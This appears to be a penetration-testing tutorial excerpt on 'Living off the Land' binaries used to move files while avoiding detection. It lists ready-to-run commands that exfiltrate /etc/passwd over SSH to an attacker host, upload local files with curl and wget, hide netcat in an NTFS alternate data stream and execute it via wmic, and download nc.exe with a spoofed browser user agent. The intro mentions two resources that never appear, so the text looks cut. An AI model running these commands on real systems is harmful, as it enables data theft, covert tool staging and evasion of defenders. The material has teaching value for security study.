Living off the Land (LOL) techniques use built-in system utilities to perform operations rather than introducing external tools. For file transfers, these techniques help avoid detection by using legitimate binaries that already exist on the target system.
Understanding LOLBins
The term LOLBins (Living off the Land binaries) originated from a Twitter discussion about binaries that attackers can use beyond their intended purpose. Two main resources document these binaries:
# Upload with curl to a server supporting POST uploads
curl -X POST -F "file=@/path/to/local/file" http://server.com/upload
# Upload via wget POST request
wget --post-file=/path/to/local/file http://server.com/upload
# Exfiltrate data using SSH
cat /etc/passwd | ssh user@attacker "cat > passwd.txt"
# Store file in alternate data stream
type nc.exe > "C:\Program Files\legit.txt:nc.exe"
# Execute from alternate data stream
wmic process call create '"C:\Windows\System32\cmd.exe" /c powershell -command "$(cat C:\Program Files\legit.txt:nc.exe)"'
# PowerShell encode and transfer via clipboard
[Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\path\to\file.exe"))
# (Copy output to clipboard)
# Linux decode from clipboard
echo "BASE64_STRING" | base64 -d > file.exe
# PowerShell custom user agent
$WebClient = New-Object System.Net.WebClient
$WebClient.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36")
$WebClient.DownloadFile("http://10.10.10.32:8000/nc.exe", "nc.exe")